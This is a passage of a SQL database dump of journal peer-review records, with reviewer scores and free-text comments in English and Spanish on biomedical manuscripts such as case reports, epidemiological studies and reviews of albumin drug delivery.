ability to tag all of these sizes may be necessary for growth and survival assessments.  Given the retention and survival rates observed in this study, further experimentation to establish species-specific minimum TL thresholds for successful PIT tagging would be extremely beneficial.','','2020-02-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1156,9050,3390,NULL,'4','G','Y','Y','N','Toxoplasmosis is one of the common worldwide parasitic zoonosis, caused by the apicomplexa protozoan Toxoplasma gondii. This parasite has cats as the definitive host, and warm-blooded animals as intermediate hosts. Author organized the manuscript well with latest literature review and study period is good enough to obtain significant results. Results are clearly shown and ethical consideration also submitted. Infections were found in 73.42% participants while 41.14% of the study population were reactivating. Risk factors for Toxoplasma seropositivity is clearly discussed. Manuscript is suitable for publication.','','2020-02-20',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1162,11300,3409,NULL,'g','Y','y','y','n','Nowadays, albumin is gradually becoming the hot topic and is expected to be the next-generation drug R&D platform. This manuscript reviews the properties and current application of human serum albumin in drug delivery, and future wide use in drug delivery for multiple disease treatment. The topic of this review is novel and and has high significance in clinical application and disease treatment. \r\n\r\nMinor comment: I suggest to add the discussions regarding the potential limination of  human serum albumin when used in drug delivery.','Dear Editor,\r\n\r\nThe topic of this review is novel, and has high significance in clinical application and disease treatment. \r\n\r\nI strongly suggest for the acceptance of this review manuscript.\r\n\r\nSincerely,\r\n\r\nXiaowen','2020-02-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1166,10393,3371,NULL,'4','G','Y','Y','Y','Intramuscular metastasis of gallbladder carcinoma- is an interesting case report. It is well written, but I have few questions/comments on the manuscript.\r\n1.	 The IHC pictures for all the markers need to be shown.\r\n2.	How high was CA-19-9?\r\n3.	In introduction statistical figure regarding the new cases and estimated death of gall bladder cancer patients  needs to be included (most current statistical data).\r\n4.	In the CT scan figures the lesions needs to be marked with an arrow.\r\n5.	Is there any report on the outcome of the patient?\r\n','Intramuscular metastasis of gallbladder carcinoma- is an interesting case report. It is well written, but I have few questions/comments on the manuscript.\r\n1.	 The IHC pictures for all the markers need to be shown.\r\n2.	How high was CA-19-9?\r\n3.	In introduction statistical figure regarding the new cases and estimated death of gall bladder cancer patients  needs to be included (most current statistical data).\r\n4.	In the CT scan figures the lesions needs to be marked with an arrow.\r\n5.	Is there any report on the outcome of the patient?\r\n','2020-02-21',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1168,9107,3125,NULL,'5','G','N','Y','Y','Images & Graphs are well chosen, supportive and informative\r\n\r\nYou may choose high-resolution, print-ready versions of the figures & Tables\r\n\r\nN.B. not a major issue..\r\n','Overall Impression:\r\nArticle reviews current status of sheep & goat Pox disease in Etiopia. It had referenced plenty of previous studies in the subject.\r\nMy impression, it is comprehensive, informative and important to the field of epidemiology & Economic importance of sheep and goat \r\nNo potentially overlapping publications\r\nFormat organized into the following sections: title, authors, , abstract, introduction, methods, results, discussion, references, acknowledgments\r\n Figure legends and table captions included within literature review\r\n\r\nLevel of evidence in this manuscript significantly adds to the knowledge base already published on this topic\r\n\r\n\r\nAbstract: is a good summary, structure and informative contains the necessary keywords\r\n\r\nIntroduction: clear effective and well organized and put into topic perspective \r\nRecent citations employed\r\n\r\nLiterature review: comprehensive, good structure, covered the most necessary header required for review articles;\r\nDefinitions\r\nEtiology\r\nClassification\r\nGenomic organization & Taxonomic Classification\r\nEpidemiology\r\nPathogenesis\r\nClinical signs\r\nDiagnosis & Histopatholog\r\nTreatment, control and prevention\r\n\r\nImages & Graphs are well chosen, supportive and informative\r\n\r\nYou may ask for high-resolution, \r\nprint-ready versions of the figures & Tables\r\n\r\nN.B. not a major issue..\r\n\r\nConclusion summarized the article review and provided recommendations:\r\nEfficient control\r\nHusbandry & herd management\r\nFurther studies on genetic level determinants for development of potent vaccine\r\n\r\nAcknowledgements: \r\nCorresponding Author:\r\n\r\nClearly defined , No conflict of interest\r\n\r\nReferencing format is ideal\r\n\r\n\r\n','2020-02-22',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1172,11299,3409,NULL,'4','G','Y','Y','Y','   The review paper was well written and covered multiple aspects of HAS for its basic function and pharmaceutical applications. There are some issues the authors need to address:\r\n1, Some organization suggestions: at the end of section of 1 (Albumin and its function structure), from “Albumin passes from blood into endothelial… till the end of the paragraph, my comment is to move this part after section 2 and rearrange it with the interaction and function paragraph, since section 1 is mainly for the structure of HSA. Section 3 and 4 addressed similar topic and were redundant for some content, so it will be better to combine and rearrange them into one section describing how interaction between HSA and receptors will regulate the function, life time and trafficking of HSA. The authors may need to consider a better arrangement of section 2,3,4.\r\n2, It would be great if the authors could have a separate section for HSA application in cancers and other diseases with more details and updates.\r\n3, On page 8, the binding residue on FcRn is not consistent, please correct.\r\n4, Minor issues as some details for the figures are missing in the legend: in more than one figures, the annotation for color is not explained, and the orientation and minimal indication of the domains/terminals of the proteins are absent (although the authors provide the link for more details). For individual figure:\r\na, figure 1, could have a diagram in figure 1 to show the domain structure of the protein, with amino acid position for all the domains/subdomains;\r\nb, figure 1, better to annotate where are the 2 major binding pockets/ Sudlow site I/II are;\r\nc, figure 2, please annotate N,C terminal and α1, α2, α3 domain, also please indicate the binding sites for HSA and IgG, which is not provided in figure 3 and 4.\r\nd, figure 5 and 6, please indicate the number of small molecules binding at the same time. \r\n','    The authors gave a summary of HSA protein for its structure and functions, and also discussed various aspects and progresses for its applications in drug development. I think the paper is qualified for publication, but need revision for some questions I raised.  ','2020-02-25',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1174,5406,3261,NULL,'4','G','Y','Y','N','IL-12 is well known to play a pivotal role in the priming of Th1-type immune responses, possibly aided by other cytokines, such as IL-18, IL-1, and tumor necrosis factor alpha. The precise role of IL-6 in T-cell differentiation is far from clarified. Deficient priming of IFN-γ responses in the absence of IL-6 was reported during infections by L. monocytogenes or M. tuberculosis. Both IL-6 and IL-12 in the generation of protective immunity mediated by IFN-γ-secreting T cells following immunization with a subunit vaccine. Article is interesting in these aspects and author written significantly with good literature review and methods and results are tabulated well. Significant in heterologous bDNA such as Salmonella sp. bDNA can be enhanced the immune response caused by the CpGmotif against P.multocida infections. I recommend to publish. ','','2020-02-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1175,9933,3237,NULL,'4','G','Y','Y','N','Scrub typhus, a zoonotic disease caused by the bacterium Orientia tsutsugamushi, has become endemic in many parts of India. The objective of the study is clear with the clinical profile of adult patients admitted with scrub typhus during the monsoon in rural central India. Results are significant clinical illness was characterized by Fever with chills(60.8 %) and Cough(68.8%).The Disease was mostly acute (97 %)presenting with a history of less than 10 days. The most characteristic physical sign was fever which was present in almost 60 percent of cases and the traditionally mentioned rash called Eschar was found in only 38 percent of patients. Manuscript is suitable to publish.','','2020-02-26',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1178,9897,3381,NULL,'4','g','y','y','y','He leído este manuscrito y creo que podría ser un texto aceptable si se clarifican y corrigen ciertos aspectos.\r\nEl tema es interesante, aunque ampliamente conocido, no suponiendo la publicación de “un caso” ninguna novedad. \r\nDe todas formas, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores verifiquen los siguientes comentarios:\r\n\r\n-Discusión y conclusión:\r\nParece que los autores presentan el caso como un caso infrecuente o raro. Sin embargo, no es así y, efectivamente, la presencia de hiperpotasemia en insuficiencia renal puede ser más la regla que la excepción.\r\nEn este sentido, me parece que no se sostiene su publicación únicamente como “un caso” de “alteración o manifestación electrocardiográfica y tratamiento de hiperkalemia en paciente con enfermedad renal crónica”, ya que se trata de un tema habitual, no raro, ampliamente descrito y conocido en los libros de texto.\r\nSugiero que los autores podrían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Debe mostrarse que esta publicación que parece mostrarse como \"anecdótica\", y no lo es, puede ser una herramienta de enseñanza importante. El objetivo de la publicación de casos clínicos es básicamente educativo, el autor debe tener en cuenta el mensaje que desea comunicar y si este conocimiento será útil para los lectores. Tal vez pueda representar una descripción de un evento centinela; esto puede ser una advertencia para poner en alerta ante situaciones similares; y / o estimular la generación de otros estudios.\r\nOtro aspecto importante de las conclusiones, que los autores deberían comentar, son los problemas o hipótesis que, en este caso, están pendientes de solución o aclaración.\r\n\r\n\r\n-Referencias:\r\nRevise, por favor, las normas de la Revista. Habitualmente se utiliza la nomenclatura del estilo Vancouver.\r\nLas referencias 4 y 14 parecen estar incompletas (¿son libros?). Falta editorial y lugar de publicación.\r\n','He leído este manuscrito y creo que podría ser un texto aceptable si se clarifican y corrigen ciertos aspectos.\r\nEl tema es interesante, aunque ampliamente conocido, no suponiendo la publicación de “un caso” ninguna novedad. \r\nDe todas formas, felicito a los autores por su esfuerzo.\r\nSugiero que, por favor, los autores verifiquen los siguientes comentarios:\r\n\r\n-Discusión y conclusión:\r\nParece que los autores presentan el caso como un caso infrecuente o raro. Sin embargo, no es así y, efectivamente, la presencia de hiperpotasemia en insuficiencia renal puede ser más la regla que la excepción.\r\nEn este sentido, me parece que no se sostiene su publicación únicamente como “un caso” de “alteración o manifestación electrocardiográfica y tratamiento de hiperkalemia en paciente con enfermedad renal crónica”, ya que se trata de un tema habitual, no raro, ampliamente descrito y conocido en los libros de texto.\r\nSugiero que los autores podrían mencionar algo más sobre cómo este caso puede ayudar a comprender un tema más importante, o recordar ciertos mensajes, o motivar la búsqueda de más información. Debe mostrarse que esta publicación que parece mostrarse como \"anecdótica\", y no lo es, puede ser una herramienta de enseñanza importante. El objetivo de la publicación de casos clínicos es básicamente educativo, el autor debe tener en cuenta el mensaje que desea comunicar y si este conocimiento será útil para los lectores. Tal vez pueda representar una descripción de un evento centinela; esto puede ser una advertencia para poner en alerta ante situaciones similares; y / o estimular la generación de otros estudios.\r\nOtro aspecto importante de las conclusiones, que los autores deberían comentar, son los problemas o hipótesis que, en este caso, están pendientes de solución o aclaración.\r\n\r\n\r\n-Referencias:\r\nRevise, por favor, las normas de la Revista. Habitualmente se utiliza la nomenclatura del estilo Vancouver.\r\nLas referencias 4 y 14 parecen estar incompletas (¿son libros?). Falta editorial y lugar de publicación.\r\n','2020-02-27',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1180,10287,3467,NULL,'3','R','N','M','y','\r\nComments and questions for Author\r\n1.	Good background and review of literature\r\n2.	what is the prevalence ranges from 0.06% to 5.8% ? per  100 or 100,000 ?  population range?\r\n3.	 Most patients with acquired pendular nystagmus - Can it be bilateral or unilateral for all mentioned situations?  \r\n4.	What types of tumors? is it worth to mention?  \r\n5.	 Unusual familial syndromes?  pls clarify or give examples\r\n6. 	The feeling of - how layman describe oscillopsia? \r\n7. 	any h/o neck trauma? For possible artery dissection?\r\n8.  	please clarify - Other or 3rd only Cranial nerve function was otherwise normal.\r\n9. 	 Any brain vascular imaging – MRA head and neck obtained? Would that be indicated here to find out other vasculopathy?\r\n10. 	Do you recommend sooner follow up given age and stroke risk factors?\r\n11.	 Do you recommend any other hematological work up or possible inflammatory condition? If not then why? \r\n12. 	What are the medication/ treatment options here is worth to discuss!\r\n13. What does this case report add to the available literature? \r\n\r\n\r\n\r\n','1. Good background and review of literature\r\n2. Need to answer some basic questions beofre considering for publication as mentioed in Commnets to author. \r\n3. Whats does this case report add to the available literature? \r\n','2020-02-28',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1186,11424,3481,NULL,'2','d','d','m','y','The idea developed in the manuscript is interesting, but please take note about:\r\n- explain the scientific background and rationale for the investigation being reported\r\n- please describe any efforts to address potential sources of bias and how you can manage them;\r\n- please develop methods of follow up in order to confirm or infirm the diagnostic\r\n- remove hyperlink on the references part\r\n- please explain how quantitative variables were handeld in the analyses','','2020-03-01',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1187,10967,3486,NULL,'5','G','Y','Y','Y','Good','Good','2020-03-02',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1189,11354,3135,NULL,'3','R','Y','Y','Y','This is an interesting study about silk affecting to the tissue regeneration. Figures should be revised with appropriate numbers. The citation of the references should be checked carefully.','','2020-03-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1193,11519,3509,NULL,'6','5','5','5','5','its a good article and very help full','a very small changes require in the introduction ','2020-03-03',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1196,11519,3489,NULL,'5','5','D','y','n','its a good article that discuss the basic need and demand of the population.','no further edition required ','2020-03-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1197,11519,3498,NULL,'5','5','D','y','n','NILL','NILL','2020-03-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1198,11299,3460,NULL,'3','R','N','M','N','The authors did analysis for some risk factors. However, they are not novel and have already been studied before. The number of patients is also low, especially after subsequent classification. I will suggest that the authors can include more patients and more local meaningful risk factors for public health improvement purpose.\r\nAnother issue is that the authors need to be more careful when preparing the manuscript. In multiple places, the case number is not correct and the decimal point is wrong in table 2 and 3. ','The factors the authors studied are not novel and case number is also not high enough. Hope the authors can include more patients and more local meaningful risk factors for public health improvement purpose. ','2020-03-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1201,11520,3509,NULL,'5','G','N','Y','N','I have read few articles related to this title. Author has done a splendid work in this article. ','','2020-03-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1202,11520,3498,NULL,'4','G','Y','Y','N','It is a great effort in a country like ethiopia that they have started reasearch work on these moral grounds like intentional interpersonal injuries. This article will help alot to the community to change their approach of thinking','','2020-03-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1203,11520,3489,NULL,'5','G','N','Y','Y','A splendid work in the field of nursing. Nursing staff always work hard in every situation for the well being of the patient and many times they face problems from the management. This article will be helpful for making their work field more comfortable for them. ','','2020-03-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1205,9719,3504,NULL,'4','R','Y','Y','Y','Nice article, but before publishing needs some improvements. It is case report, but need to be written more attractive. Please remember that you don’t write for pregradual student, so in your article need to be highlighted what is new. That is over shadow classic surgery, so please concentrate on relationships between diverticulis perforation, pneumoperitoneum and peritonitis. This is some new, that need to be highlighted in your article. \r\n\r\nAbstract: is too general, like book. Please rewrite it. \r\nIntroduction: Try to better show to importance of the case and their importance for surgery. \r\nDescription of the case: is good. \r\nDiscussion: is good, but concentrate also on problems and try to show steps what to do in this case and what a situation can be happening. That information can be used for other people meeting with same case. \r\nFigures: are relevant and good.\r\n\r\nConclusion: I suggest to publish after changes. ','','2020-03-04',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1210,11355,3135,NULL,'1','R','Y','Y','Y','In this manuscript the author studied the effects of the silk electrospun sheet on the movement of paralyzed rat. The manuscript was not well written. Some place the English expression is not very clearly. There are also some grammar mistakes, for an example, in page 2, the sentence ‘Usually in our brain there are five types of signals that is Delta, Theta, Alpha, Beta, Gamma. Delta, Theta, Alpha, Beta and Gamma brain waves.’  The main problem is the aim of the study is not clear and the experimental design is not good. The results are not well presented. In the manuscript there is no result part. The figure labels and legends are not proper.  ','The study was bad design and the manuscript was not written.','2020-03-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1211,11518,3509,NULL,'5','R','y','y','y','5. Accepted without changes.','The study is satisfactory.','2020-03-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1212,11518,3509,NULL,'5','R','y','y','y','Accepted without changes.','The study was satisfactory.','2020-03-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1216,9797,3505,NULL,'5','G','y','Y','Y','Greetings!\r\nAfter accurate reviewing, I have found that The article has been written well. Moreover, the illustration of the current case is clear. Consequently, this article is accepted to be published.','Greetings!\r\nAfter accurate reviewing, I have found that The article has been written well. Moreover, the illustration of the current case is clear. Consequently, this article is accepted to be published.','2020-03-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1217,9797,3504,NULL,'5','G','y','Y','Y','Greetings!\r\nAfter accurate reviewing, I have found that The article has been written well. Moreover, the illustration of the current case is clear. Consequently, this article is accepted to be published.','Greetings! thank you for your invitation to review this article. \r\nAfter accurate reviewing, I have found that The article has been written well. Moreover, the illustration of the current case is clear. Consequently, this article is accepted to be published.','2020-03-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1218,9803,3484,NULL,'3','r','n','y','n','Hi\r\nyour subject isn\'t novel but interesting \r\nplease check your English grammar\r\n\r\nbest','','2020-03-06',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1219,11519,3045,NULL,'4','G','Y','Y','n','it require a small changes in  methodology ','nill','2020-03-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1220,11351,3135,NULL,'4','g','y','y','m','       the manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are many spelling errors in this manuscript. See guide for authors for a free grammar checker. \r\nTitle:- “Detection of Brain Signals Using electroencephalogram Received by Silk Electrospun Sheet for the Movement of Paralyzed Anatomical Parts through Tissue Engineering” should be a brief phrase describing the contents of the paper. \r\nConclusion:\r\nRelevant.\r\nReferences: \r\nRelevant','the manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are many spelling errors in this manuscript. See guide for authors for a free grammar checker. \r\nTitle:- “Detection of Brain Signals Using electroencephalogram Received by Silk Electrospun Sheet for the Movement of Paralyzed Anatomical Parts through Tissue Engineering” should be a brief phrase describing the contents of the paper. \r\nConclusion:\r\nRelevant.\r\nReferences: \r\nRelevant','2020-03-07',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1224,11456,3486,NULL,'4','4','5','5','5','1.	The title is concentrated and leads the reader to the main paper’s idea. \r\n2.	The abstract is well-written, but I do not know why you call it Summary, as we know it has to be typically called an abstract. \r\n3.	KEYWORDS: No key words mentioned, do not know why! There are several websites can guess your paper’s keywords\r\n4.	The introduction provides sufficient background information for readers in the immediate field to understand the problems in such cases. However, it needs some extra references. \r\n5.	The text is well arranged, and the logic is clear. However, the points must be written as a paragraph. \r\n6.	There are rare grammatical errors in this article.\r\n7.	The related concepts are introduced \r\n8.	The readability is sufficient. \r\n9.	All figures are very clear enough and well presented. I think they need the scale measurement. If possible!\r\n10.	All figures are well referred to in the text.\r\n11.	The reference section needs extra recent reference.  \r\n12.	Please use google scholar search engine then set it since 2016\r\n13.	Bias is good enough. \r\n14.	Plagiarism (there is only one graph I found some plagiarism) please check it. \r\n15.	Funds? \r\n16.	Conflict of interest? If possible. \r\n17.	Ethical committee? If possible as you the writer(s) toke a case.  \r\n','1.	The title is concentrated and leads the reader to the main paper’s idea. \r\n2.	The abstract is well-written, but I do not know why you call it Summary, as we know it has to be typically called an abstract. \r\n3.	KEYWORDS: No key words mentioned, do not know why! There are several websites can guess your paper’s keywords\r\n4.	The introduction provides sufficient background information for readers in the immediate field to understand the problems in such cases. However, it needs some extra references. \r\n5.	The text is well arranged, and the logic is clear. However, the points must be written as a paragraph. \r\n6.	There are rare grammatical errors in this article.\r\n7.	The related concepts are introduced \r\n8.	The readability is sufficient. \r\n9.	All figures are very clear enough and well presented. I think they need the scale measurement. If possible!\r\n10.	All figures are well referred to in the text.\r\n11.	The reference section needs extra recent reference.  \r\n12.	Please use google scholar search engine then set it since 2016\r\n13.	Bias is good enough. \r\n14.	Plagiarism (there is only one graph I found some plagiarism) please check it. \r\n15.	Funds? \r\n16.	Conflict of interest? If possible. \r\n17.	Ethical committee? If possible as you the writer(s) toke a case.  \r\n','2020-03-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1225,11299,3488,NULL,'4','G','Y','Y','Y','The authors did a comprehensive data collection and further analysis for many risk factors. The data was well collected, classified and analyzed. \r\nA few questions:\r\n1, the author didn’t provide the results for the effect of smoking;\r\n2, for local herbal medication, are there any common/closely related components? That could be a very interesting topic for further studies.\r\n   ','The authors did a comprehensive data collection and further analysis for many risk factors. Although most of the risk factors are not novel and have been reported before, they are instructive as to the prevention of local CLD.   \r\nI only have some minor questions for the authors to address.','2020-03-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1229,7415,3504,NULL,'4','r','y','Y','Y','•	The topic is an interesting one.\r\n•	Author needs to add case report as keyword according to CARE guidelines 2016.\r\nAbstract\r\n•	The abstract needs to be restructured to include (Introduction, Case presentation, discussion and conclusion).\r\n•	The language of the manuscript must be formal. Better to avoid sentences like “”never described before”” and “”It is imperative for surgeons””.  \r\nDescription of the case\r\n•	Author needs to comment why he did not start with laparoscopy at least at the beginning. Putting in mind the high possibility of shifting to open approach if safety is jeopardized.\r\n•	Figure 2, 3 are a repetition of figure 4. Need to be removed.\r\n•	Nothing mentioned about conflict of interests?\r\n•	References cited represent a good spread in terms of year of publication and number.\r\nGood luck \r\n\r\n\r\n','•	The topic is an interesting one.\r\n•	Author needs to add case report as keyword according to CARE guidelines 2016.\r\nAbstract\r\n•	The abstract needs to be restructured to include (Introduction, Case presentation, discussion and conclusion).\r\n•	The language of the manuscript must be formal. Better to avoid sentences like “”never described before”” and “”It is imperative for surgeons””.  \r\nDescription of the case\r\n•	Author needs to comment why he did not start with laparoscopy at least at the beginning. Putting in mind the high possibility of shifting to open approach if safety is jeopardized.\r\n•	Figure 2, 3 are a repetition of figure 4. Need to be removed.\r\n•	Nothing mentioned about conflict of interests?\r\n•	References cited represent a good spread in terms of year of publication and number.\r\n\r\nThank You\r\n\r\n','2020-03-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1230,7415,3504,NULL,'4','r','y','Y','Y','•	The topic is an interesting one.\r\n•	Author needs to add case report as keyword according to CARE guidelines 2016.\r\nAbstract\r\n•	The abstract needs to be restructured to include (Introduction, Case presentation, discussion and conclusion).\r\n•	The language of the manuscript must be formal. Better to avoid sentences like “”never described before”” and “”It is imperative for surgeons””.  \r\nDescription of the case\r\n•	Author needs to comment why he did not start with laparoscopy at least at the beginning. Putting in mind the high possibility of shifting to open approach if safety is jeopardized.\r\n•	Figure 2, 3 are a repetition of figure 4. Need to be removed.\r\n•	Nothing mentioned about conflict of interests?\r\n•	References cited represent a good spread in terms of year of publication and number.\r\nGood luck \r\n\r\n\r\n','•	The topic is an interesting one.\r\n•	Author needs to add case report as keyword according to CARE guidelines 2016.\r\nAbstract\r\n•	The abstract needs to be restructured to include (Introduction, Case presentation, discussion and conclusion).\r\n•	The language of the manuscript must be formal. Better to avoid sentences like “”never described before”” and “”It is imperative for surgeons””.  \r\nDescription of the case\r\n•	Author needs to comment why he did not start with laparoscopy at least at the beginning. Putting in mind the high possibility of shifting to open approach if safety is jeopardized.\r\n•	Figure 2, 3 are a repetition of figure 4. Need to be removed.\r\n•	Nothing mentioned about conflict of interests?\r\n•	References cited represent a good spread in terms of year of publication and number.\r\n\r\nThank You\r\n\r\n','2020-03-09',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1236,10287,3192,NULL,'2','G','Y','Y','N','Comments –questions for authors of Manuscript – case report 3192\r\n1.	Introduction and credential of authors required – fellow / medical student/ faculty \r\n2.	Introduction – paragraph 3 :  worth to mention year when fingolimode was introduced   \r\nCase description:\r\n3.	  1st paragraph – need more history why fingolimode was consider as option for MS \r\n4.	 Any other medical complication over 3 years of therapy? Any interval drug level or other testing? Any baseline EKG, liver profile? \r\n5.	Baseline MRI findings and clinic exam for MS? \r\nExamination paragraph:\r\n6.	any explanation to dysmetria \r\n7.	Expanded Disability Status Scale (EDSS) score was 0.5. Details of scale pls.\r\nAdmission paragraph\r\n8.	Is the renal artery dissection explained by unnoticed trauma to back\r\n9.	 Any ophthalmoscopy exam\r\n10.	Blood pressure changes over 3 years of fingolimod therapy\r\n11.	 Progression of Multiple sclerosis over fingolimod therapy\r\n12.	 Any changes over repeat MRI brain?\r\n13.	Any work up for embolic etiology- 2D echo or MRA brain to rule out possibility of cardiogenic pathology \r\nDiscussion: \r\n14.	 Please discuss if it can be coincidental for this patient to be on fingolimod and have the renal infraction with artery dissection as in absence of any other systemic manifestation of side effect of 3 years fingolimod therapy?\r\n15.	Strength of case report\r\n16.	Weakness of case report needs to be discussed \r\n','The Case report is very limited the other information why is was related to only fingolimod therapy side effect otherwise. Need more information,  review of literature and rule out possibilities. \r\nplease see my comments to author. ','2020-03-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1237,11689,3568,NULL,'4','G','Y','Y','N','In Table 1, (cm-1) should be added in the heading of all columns (in plane or out of plane bending)\r\n\r\nAn overall spell check should be run throughout the article\r\nIn Figure 3, scale should be inserted on all TEM micrographs, similarly in Figures 4,5, 6, 7 and 8, scale bar is not visible, it should be clearly visible for an exact idea of size\r\n\r\nThe conclusion part should be more concise and it should contain only the findings, not the methods. For example instead of mentioning  “Mechanical properties of the fibers were determined according to D3039 ASTM test method which is the Standard Test Method for Tensile Properties of Polymer Matrix Composite Materials. The tensile strength tests were made for the microfibers” in conclusion, just give the mechanical and tensile strength values and relate the improved values with the adopted methodology. Similarly no need to mention the name of all bacterial strains in conclusion part. Just give the study results.\r\n\r\n','Overall this work is addressing quite interesting strategy for the design of advance healthcare materials. In addition it has also advanced the knowledge of the field. The manuscript may be accepted after minor revision','2020-03-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1239,11688,3568,NULL,'5','G','Y','Y','Y','The manuscript that title of “Antibacterial Cellulose Acetate Microfibers Containing Pyridine Derivative Complexes” is a well-written article. The compounds are characterized via FT-IR and 1H-NMR techniques. The morphologies of the microfibers are investigated via FE-SEM. Modified polymer fibers are investigated via EDX. The characterization of the synthesized molecules is sufficient. Anti-bacterial studies are performed against the bacteria E. Coli, Klebsiella Pneumoniae, Methyciline Resistant S. Aureus (MRSA), Enterococcus Faecalis via modified disc-diffusion method (CLSI- M02-A11). The results obtained from antibacterial studies are evaluable. As a result, the manuscript can be accepted.','The manuscript can be accepted.','2020-03-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1240,11519,3551,NULL,'6','4','n','y','y','it a good topic to discuss now a days it a common problem in computer workers.','it a good topic to discuss now a days it a common problem in computer workers.','2020-03-11',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1242,11589,3154,NULL,'4','G','Y','Y','Y','I find this article very interesting. The paper is generally well written and structured.  The authors have collected a unique dataset for this retrospective study. Overall the information presented represents valuable information regarding the relapsing-remitting multiple sclerosis. This paper has the potential to be accepted, but some important grammatical mistakes have to be rectified before publication.','I find this article very interesting. The paper is generally well written and structured.  The authors have collected a unique dataset for this retrospective study. Overall the information presented represents valuable information regarding the relapsing-remitting multiple sclerosis. This paper has the potential to be accepted, but some important grammatical mistakes have to be rectified before publication.','2020-03-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1243,11354,3519,NULL,'4','G','Y','Y','Y','This is an important study about the age-related macular degeneration. References need to be appropriately cited. Reference 30 is cited to the description about Avastin injection.','','2020-03-12',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,1,1,'false'),(1252,11351,3519,NULL,'3','g','y','y','n','the manuscript is certainly interesting, and the topic is very relevant. There are potentially very valuable lessons to learn from this manuscript. However, many issues need to address before the manuscript is suitable for publication.\r\nOverall:\r\n1. There are many spelling errors in this manuscript. See guide for authors for a free grammar checker. \r\nTitle:-“The Effect of Intravitreal Injection of Avastin for Neovascular Age – related Macular Degeneration.” should be a brief phrase describing the contents of the 